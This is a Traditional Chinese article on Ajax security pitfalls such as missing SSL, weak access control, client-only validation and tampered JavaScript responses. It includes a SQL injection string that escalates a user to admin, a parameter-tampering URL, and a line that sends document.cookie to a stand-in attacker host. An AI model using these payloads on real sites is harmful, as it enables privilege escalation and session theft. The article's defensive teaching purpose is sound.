Web 開發者大概都不難感受到 Ajax 帶來的便利:不費力就能做出 Google Suggest 那樣的智慧搜尋建議,或 Gmail 那樣完整的網頁應用。然而隨著 Ajax 應用普及,它的另一面也逐漸顯露——安全漏洞的面積同步擴大,就像在不知不覺中把站點放進了一顆定時炸彈。
在「Web 應用程式」的單純年代,流程很簡單:填表、按「提交」、畫面消失、稍等、換頁。今天使用者期待的是如桌面應用般流暢、快速、貼近直覺的體驗。
Ajax 常與 DHTML 協同運作,讓網頁中的 JavaScript 能在背景與伺服器無縫通訊。當你在 Google Suggest 的搜尋框開始輸入,頁面就已在背景與伺服器交換資料,並回饋可能的關鍵字——不必刷新,也不必按任何按鈕。Gmail 近乎即時的拼字檢查也是同樣道理。
核心是 JavaScript 的 XMLHttpRequest 物件,它能被使用者的按鍵或計時器等事件在背景非同步觸發。你在 Google Suggest 輸入「ajax」時,背後其實是一連串類似的請求:
www.google.com/complete/search?hl=en&js=true&qu=aj www.google.com/complete/search?hl=en&js=true&qu=aja www.google.com/complete/search?hl=en&js=true&qu=ajax
名稱中的 XML 容易造成誤解,其實那部分沒有絕對必要性。它源自 JavaScript 物件命名,許多 Ajax 風格的應用確實使用 XML,但這個物件能對任何事物送出請求——甚至 JavaScript 程式碼本身也能被取回並執行。例如繼續輸入「ajax example」,伺服器可能回傳:
sendRPCDone(frameElement, "ajax example",
new Array("ajax example", "ajax examples"),
new Array("153,000 results", "177,000 results"),
new Array(""));
這正說明了 Ajax 強大之處:具備在執行期把新的 JavaScript 加入瀏覽器的能力。而這份強大,同時也是風險的來源。
超過半數的 Ajax 安全風險其實來自伺服器端既有的漏洞。良好的安全編碼與設計當然能幫上大忙,但 Ajax 另外帶來幾個特有難題。
Ajax 在技術採用週期中相對早期,網路上雖有上百萬個範例,真正可靠優良的卻不多。開發者往往必須自行設計伺服器端與客戶端協定,尤其是伺服器回應的格式;而這些協定的品質,最終都會直接反映在頁面上。
Ajax 應用是半客戶端、半伺服器的混合體。若由同一人開發兩端,他在兩種語言之間來回跳躍,很容易在一端寫得漂亮、在另一端留下初級錯誤。即使有大型團隊,安全編碼的責任也容易在伺服器組與客戶端組交接時出現斷點。
假設有一個旅遊規劃站點:使用者輸入位置(郵遞區號、電話區號或 GPS),立刻送出 Ajax 請求確認位置,畫面随即填入所有可用交通方式。這些控件幾乎全由 Ajax 驅動,一次操作背後可能需要二十個以上的伺服器呼叫,如 findAirportsByLocation.aspx、determineMaxBaggageAllowanceByAirline.php 這類小函式。
若沒有仔細規劃(例如建立多功能的通用函式與伺服器腳本),每個畫面都得實作四十多個獨立片段。程式越多,錯誤與 bug 越多,撰寫、管理、測試與維護的成本也同步上升;更麻煩的是,散落在客戶端的 JavaScript 在正式測試流程中經常被遺漏。
Ajax 最大的誘惑之一,是讓開發者忍不住一路加功能——只為了用 Ajax 而用 Ajax。功能越疊越多,測試需求卻被完全忽略,風險就在這種氛圍裡悄悄累積。
每個 Ajax 呼叫回傳的資料量可能很小,但那些資料可能是私密的。開發者可能仔細地為信用卡號做檢查位驗證,卻在無意間用純文字而非 SSL 送出——當畫面上其他 99% 的資料都不敏感時,漏掉 SSL 顯得格外容易,也格外致命。
JavaScript 觸發 Ajax 的方式,常掩蓋明顯的程式缺陷,存取控制就是一例。假設某段邏輯依使用者上次瀏覽的目的地推薦旅館:
showPreviousHotels.aspx?userid=12345&destination=UK
若惡意使用者把網址改成:
showPreviousHotels.aspx?userid=12346&destination=%
他會看到別人偏好的旅館嗎?(注意 % 在 SQL 語句中是萬用字元。)這只是個危害有限的例子,但結論很清楚:應以 session、cookie 或其他代用符號來確保資料只會送到正確的使用者手上。資料或許只是一小部分,卻可能是最重要的一小部分。
這裡有兩個問題。第一,Ajax 控件常被當成「送出表單前的最後一道驗證」,因而讓開發者產生虛假的安全感。例如實作了一個 allowedDestinations.php,依使用者 ID 判定可去的目的地,就以為頁面最終送出時不必再檢查一次。Ajax 驗證可以比使用者自己更嚴格,但伺服器端仍然必須在最後再做一次驗證。
第二,驗證控件本身也可能有漏洞,而藏在後方的 URL 最容易被遺忘。例如:
showPreviousHostels.aspx?userid='; update users set type='admin' where userid=12345;--
這就是典型的 SQL 注入攻擊手法。所有拼接字串進 SQL 的地方,都應改用參數化查詢,並對輸入做嚴格的白名單驗證。
前面提到,Google Suggest 那類做法是「動態產生並執行 JavaScript 函式」。若缺乏任何形式的驗證(而在客戶端要同時兼顧可靠性與流暢度確實困難),客戶端就只是照著伺服器的指示執行。
更麻煩的是,真正執行的程式碼使用者永遠看不到(無法「檢視原始碼」),這為惡意攻擊開了一扇大門:若伺服器回應在傳輸過程中被篡改,這種攻擊極難被察覺。
舉例來說,正常回應可能是:
updateWeatherIcon('cloudy.gif');
而被植入惡意內容後可能變成:
updateWeatherIcon('www.myhackingsite.ru/grab.aspx?c=' + document.cookie);
updateWeatherIcon('cloudy.gif');
攻擊者就這樣在自己的伺服器上追蹤到了每一位使用者的 session ID/cookie,而畫面看起來一切正常。
綜合上述,可以歸納出幾條實務準則:
Ajax 與 Ajax 風格的技術無疑是 Web 設計的光明大道,開發者得以在瀏覽器中創造過去難以想像的「應用程式」。但使用它必須謹慎,才能守住站點安全。
最大的威脅之一,正來自日益複雜的客戶端與伺服器腳本:它們被技術手段隱藏在視線之外,使測試變得不直觀;而新技術的光環,又容易讓開發者忘記存取控制與輸入校驗這些基本功。這些問題不會消失,只會變得更多、更複雜。